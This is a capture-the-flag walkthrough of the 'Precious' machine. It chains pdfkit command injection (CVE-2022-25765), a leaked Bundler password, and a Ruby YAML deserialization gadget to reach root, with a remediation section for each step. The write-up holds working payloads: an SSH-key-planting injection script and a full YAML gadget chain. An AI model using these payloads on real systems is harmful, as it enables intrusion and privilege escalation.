← all walkthroughs

Precious

Linux· Easy
owned
2026-06-29
time to own
3m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I reached a publicly exposed URL-to-PDF web application, identified an outdated and vulnerable Ruby pdfkit library (CVE-2022-25765), and injected shell commands through an unsanitised URL parameter to plant an SSH key and gain remote access. Post-login file-system exploration uncovered the password for a second account stored in plaintext inside a Bundler configuration file; that password was reused as the Linux login credential.

The second account held a passwordless sudo rule permitting execution of a Ruby maintenance script, which called the unsafe YAML.load function on a user-writable file. A crafted YAML deserialization payload caused the script to set the SUID bit on /bin/bash, granting a fully interactive root shell and completing the compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService fingerprinting (T1046 / T1592)
Fingerprinted the web server and identified the Ruby application stack
An nmap scan revealed port 80 open. HTTP response headers disclosed nginx 1.18.0 as the reverse proxy, Phusion Passenger 6.0.15 as the application server, and an X-Runtime: Ruby header confirming a Ruby backend. The landing page title 'Convert Web Page to PDF' revealed the application's purpose and pointed toward a URL-to-PDF rendering library as the attack surface.
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15; X-Runtime: Ruby; <title>Convert Web Page to PDF</title>
Exact commands 2
Full port scan with version detection.
nmap -sC -sV -p- -oA precious $TARGET
Read response headers to confirm framework and language leakage.
curl -si http://$TARGET/ -H 'Host: precious.htb'
2Vulnerability identificationCVE-2022-25765 — pdfkit URL command injection
Confirmed pdfkit in the vulnerable version range (CVE-2022-25765)
Submitting a benign URL to the converter and inspecting the resulting PDF's metadata via exiftool revealed the producer as pdfkit v0.8.6 — within the vulnerable range 0.0.0–0.8.7.2 documented in CVE-2022-25765. That CVE describes how pdfkit passes the user-supplied URL to wkhtmltopdf without stripping shell metacharacters, allowing backtick-enclosed commands to run on the server.
/usr/share/exploitdb/exploits/ruby/local/51293.py; Verified: True; 'URL is not properly sanitized'
Exact commands 2
Locate EDB-51293 in the local ExploitDB mirror.
searchsploit pdfkit
Confirm pdfkit is the PDF engine and read its version from metadata.
curl -s -X POST -d 'url=http://127.0.0.1/' -H 'Host: precious.htb' http://$TARGET/ -o /tmp/probe.pdf && exiftool /tmp/probe.pdf | grep -i 'producer\|creator\|pdfkit'
FixUpgrade pdfkit and enforce strict URL validationCritical
WeaknessThe application ran pdfkit v0.8.6, which forwards unsanitised user-supplied URLs to the underlying wkhtmltopdf binary. Shell metacharacters (backticks, semicolons) in the URL are interpreted by the shell, giving any web visitor the ability to run arbitrary commands as the web-application user.
FixUpgrade the pdfkit gem to 0.8.7.2 or later, which rejects URLs containing whitespace and shell metacharacters. Independently, validate every user-supplied URL on the application side before it reaches pdfkit: accept only strings that match a strict http:// or https:// scheme followed by a hostname and optional path; reject everything else with an HTTP 400. If the URL-fetch feature is not essential to the business, disable it entirely and serve PDF generation from server-controlled content only.
3Initial accessCommand injection — CVE-2022-25765 (T1059.004)
Planted an SSH key via URL command injection to gain a shell
Pdfkit interprets backtick expressions inside the URL string as shell commands executed by the web-application process. I submitted a URL of the form http://%20<command>, causing the server to append my own SSH public key to the web-app user's authorized_keys file. A subsequent SSH login over port 22 delivered an interactive shell as that low-privilege account.
POST url=http://%20mkdir -p ~/.ssh; echo '<pubkey>' >> ~/.ssh/authorized_keys; SSH login succeeded as ruby@$TARGET
Exact commands 3
Generate a throwaway key pair; precious_key.pub will be injected.
ssh-keygen -t ed25519 -f /tmp/precious_key -N ''
Send the injection payload; server executes the embedded command as the web-app user.
python3 - <<'PY'
import requests
pub = open('/tmp/precious_key.pub').read().strip()
cmd = f"mkdir -p ~/.ssh; echo '{pub}' >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys"
payload = 'http://%20`' + cmd + '`'
r = requests.post("http://$TARGET/", headers={'Host': 'precious.htb'}, data={'url': payload}, timeout=15)
print(r.status_code, r.text[:80])
PY
Log in using the planted key; substitute 'ruby' with the actual web-app username if different.
ssh -i /tmp/precious_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null ruby@$TARGET
4Credential accessCredentials in files (T1552.001)
Discovered henry's password in plaintext inside a Bundler config file
While exploring the file system as the web-application user I located a Bundler credential file at ~/.bundle/config. Bundler stores registry credentials in this file in the format BUNDLE_HTTPS://RUBYGEMS__ORG/: "user:password", and the file was readable by the current process. It contained henry's RubyGems password [REDACTED: recovered credential] in cleartext.
~/.bundle/config: BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:[REDACTED: recovered credential]"
Exact commands 2
Locate all Bundler config files on the system.
find / -name config -path '*/.bundle/*' 2>/dev/null
Read the credential file found in the web-app user's home directory.
cat ~/.bundle/config
FixRemove plaintext credentials from Bundler config and enforce no password reuseHigh
WeaknessThe file ~/.bundle/config stored a RubyGems registry password in cleartext, readable by any process running as that user. The same password was reused as henry's Linux account password, meaning a single leaked file yielded complete lateral movement to a named interactive account.
FixDelete the credential entry from all .bundle/config files on every host. Store registry tokens in environment variables (BUNDLE_RUBYGEMS__ORG=token) or in a secrets manager, never in config files on disk. Rotate henry's SSH and Linux account password immediately. Enforce a policy — via your identity provider or PAM configuration — that prohibits reusing service-account tokens as interactive account passwords.
5Lateral movementCredential reuse / Valid accounts (T1078)
Authenticated as henry using the reused password and retrieved the user flag
The RubyGems password found in the Bundler config was identical to henry's Linux account password — a textbook credential-reuse scenario. My SSH'd directly as henry, confirmed local access, and read /home/henry/user.txt. A sudo -l check immediately showed a high-value privilege-escalation path.
Sshpass -p '[REDACTED: recovered credential]' ssh henry@$TARGET → uid=1000(henry); user.txt captured
Exact commands 1
Log in as henry, capture the user flag (value: <user.txt>), and enumerate sudo rights.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null henry@$TARGET 'id; cat /home/henry/user.txt; sudo -l'
6Privilege escalationRuby YAML deserialization / sudo abuse (T1548.003)
Triggered root-level command execution via YAML deserialization in a sudo script
Henry's sudo policy permitted passwordless execution of /usr/bin/ruby /opt/update_dependencies.rb as root. The script called YAML.load() — Ruby's unsafe deserializer — on /home/henry/dependencies.yml, a file henry could freely overwrite. YAML.load instantiates arbitrary Ruby objects, enabling gadget-chain attacks. My wrote a malicious YAML file using the Gem::Requirement chain to invoke a Proc that ran chmod u+s /bin/bash. Triggering the sudo command caused root to execute that shell command, making /bin/bash SUID.
Sudo -l: (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb; YAML.load on user-writable dependencies.yml
Exact commands 3
Confirm the dangerous sudo rule as henry.
sudo -l
Write the YAML gadget-chain payload; the embedded proc runs chmod u+s /bin/bash when deserialised.
cat > /home/henry/dependencies.yml << 'EOF'
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &2 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &3 !ruby/object:Net::WriteAdapter
         socket: &4 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/proc "proc { |a,b| `chmod u+s /bin/bash` }"
                 method_id: :call
         method_id: :resolve
EOF
Trigger the script as root, which loads the malicious YAML and sets the SUID bit on bash.
sudo /usr/bin/ruby /opt/update_dependencies.rb
FixReplace YAML.load with YAML.safe_load in all scripts that process external inputCritical
WeaknessThe maintenance script /opt/update_dependencies.rb called YAML.load() on a file that an ordinary user could overwrite. Ruby's YAML.load deserialises arbitrary object types including Proc and native OS gadget chains, giving any user who can write the input file the ability to execute code under whatever user runs the script — in this case root.
FixReplace every occurrence of YAML.load (and Psych.load) with YAML.safe_load (Psych.safe_load). safe_load restricts deserialisation to plain scalars, arrays, and hashes and raises an exception for any tagged Ruby object, eliminating all known gadget chains. If the script legitimately needs to load a specific set of object types, pass an explicit permitted_classes list to safe_load rather than using the unsafe variant. Additionally, make the input file owned by root and writable only by root (chmod 644 root:root /opt/dependencies.yml) so unprivileged users cannot substitute a malicious file even if the code is not fixed immediately.
7Full compromiseSUID binary abuse (T1548.001)
Spawned a root shell and retrieved the root flag
With /bin/bash now carrying the SUID bit, my ran bash -p (preserve effective UID) to inherit root's privileges without requiring a password. This yielded a fully interactive root shell from which /root/root.txt was read, completing the compromise of the host.
Ls -la /bin/bash → -rwsr-xr-x root root; id → euid=0(root); root.txt captured
Exact commands 2
Invoke bash with privilege preservation; euid becomes 0 (root).
/bin/bash -p
Verify root effective UID and read the flag (value: <root.txt>).
id && cat /root/root.txt
FixRemove or strictly constrain sudo rules that grant root access to script interpretersHigh
Weaknesshenry was permitted to run /usr/bin/ruby <script> as root without entering a password. Granting passwordless sudo access to any scripting interpreter (ruby, python, perl, node, bash) is functionally equivalent to granting unrestricted root access, because anyone who controls the script's input — or the script itself — can run anything.
FixRemove the entry '(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb' from /etc/sudoers (edit via visudo). If the script must run as root on a schedule, execute it via a root-owned cron job rather than through user sudo. Conduct a full audit of all sudoers entries (sudo -l for each account; parse /etc/sudoers and /etc/sudoers.d/) and revoke any rule that permits a scripting interpreter without a fully-qualified, non-user-writable script argument. Require a password for any remaining elevated commands.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more